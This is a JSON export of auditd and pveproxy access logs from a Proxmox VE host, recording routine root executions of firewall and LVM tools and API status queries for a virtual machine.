{"@timestamp":1781966005308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.308:68032): arch=c000003e syscall=59 success=yes exit=0 a0=5ea565f4fed0 a1=5ea565f4cc50 a2=5ea565f2e680 a3=5 items=2 ppid=65326 pid=65332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385422,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.422:60802): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965191501,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964384145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.145:60778): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995224,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.224:68004): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965745946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.946:66913): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.305:68031): arch=c000003e syscall=59 success=yes exit=0 a0=5ea546bb2ac8 a1=7fff8adf9530 a2=5ea565f2e680 a3=5ea546b9624e items=2 ppid=65326 pid=65328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385418,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.418:60801): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965190411,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964384145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.145:60777): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995215,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.215:68003): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965745939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.939:66912): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ace4a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005304,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.304:68030): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8adf94f0 a1=5ea565f35310 a2=5ea565f2e680 a3=5 items=2 ppid=65326 pid=65327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385413,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.413:60800): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965190411,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781964379137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964379.137:60775): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995207,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.207:68002): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965745930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.930:66911): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134580 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.299:68028): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1391f0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385408,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.408:60799): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965190411,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 870"} {"@timestamp":1781964379137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964379.137:60774): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995199,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.199:68001): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965745920,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.920:66910): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.291:68027): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385403,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.403:60798): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965189314,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 494"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964379.130:60772): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995190,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.190:68000): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965744544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.544:66909): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71b9a70 a1=64f8d6e5c0c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.283:68026): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385397,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.397:60797): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965189314,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:48 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964379130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964379.130:60771): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.184:67998): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965744511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.511:66908): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740f3f0 a1=64f8d73db3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.277:68025): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385391,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.391:60796): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965189314,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 899"} {"@timestamp":1781964375328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.328:60767): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd2d196620 a1=60f188600310 a2=60f1885f9680 a3=5 items=1 ppid=58343 pid=58344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995178,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.178:67997): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965744148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.148:66907): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.268:68024): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136560 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.385:60795): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965188198,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964375248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964375.248:60749): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe52a776e0 a1=56c9c3f98310 a2=56c9c3f91680 a3=5 items=1 ppid=58324 pid=58325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.171:67996): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965744139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.139:66904): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.257:68023): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb641ddc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65321 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385381,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.381:60794): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965188198,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781964374121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.121:60739): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995166,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.166:67995): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965739132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965739.132:66901): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.069:68022): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385379,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.379:60793): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965187066,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964374121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.121:60738): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995159,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.159:67994): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965739124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965739.124:66898): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.062:68019): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385378,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.378:60792): argc=1 a0=\"date\""} {"@timestamp":1781965187066,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964374099,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.099:60736): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995153,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.153:67993): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965735908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.908:66895): arch=c000003e syscall=59 success=yes exit=0 a0=627cf3881e90 a1=627cf387ec10 a2=627cf3860680 a3=5 items=2 ppid=64247 pid=64253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966004373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966004.373:68016): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cf080 a1=64f8d7417e40 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385374,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.374:60790): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965187066,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964374099,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964374.099:60735): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995146,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.146:67992): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.904:66894): arch=c000003e syscall=59 success=yes exit=0 a0=627cc8091ac8 a1=7ffc0a0c6d50 a2=627cf3860680 a3=627cc807524e items=2 ppid=64247 pid=64249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966004344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966004.344:68015): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0ac0 a1=64f8d73bbce0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385367,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.367:60789): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965186081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964369.089:60733): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.136:67991): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.904:66893): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc0a0c6d10 a1=627cf3867310 a2=627cf3860680 a3=5 items=2 ppid=64247 pid=64248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966000054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966000.054:68014): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.361:60788): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965186081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:45 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964369.089:60732): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995132,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.132:67990): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965735899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.899:66891): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64247 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966000047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966000.047:68011): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385356,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.356:60787): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965186081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964369085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964369.085:60730): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995129,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.129:67989): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965735893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.893:66890): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64246 auid=4294967295 uid=0 